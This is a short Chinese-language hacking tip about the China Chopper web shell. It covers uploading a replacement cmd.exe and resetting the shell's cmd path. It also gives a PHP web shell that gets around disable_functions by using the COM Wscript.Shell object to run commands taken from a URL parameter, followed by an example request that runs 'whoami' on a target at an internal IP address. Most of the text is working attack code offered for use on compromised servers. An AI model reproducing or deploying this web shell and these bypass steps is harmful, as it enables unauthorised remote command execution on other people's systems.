菜刀cmd执行命令拒绝访问 安全模式(解决)

【Err】 拒绝访问

1、出现以上提示可能是cmd权限不足，需要自己上传一个cmd.exe，注意windows server不能使用win10的cmd，需要对应版本
2、命令行执行以下命令重新定义cmd路径：
setp:C:\inetpub\wwwroot\cmd.exe

提示：执行命令失败，可能远程启用了安全模式！

1、原因：php开启disablefunction，仅仅在windows才生效

2、上传以下脚本绕过

$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

3、访问以下链接执行命令
http://10.100.100.100/general/vmeet/wbUpload/cmd.php?c=whoami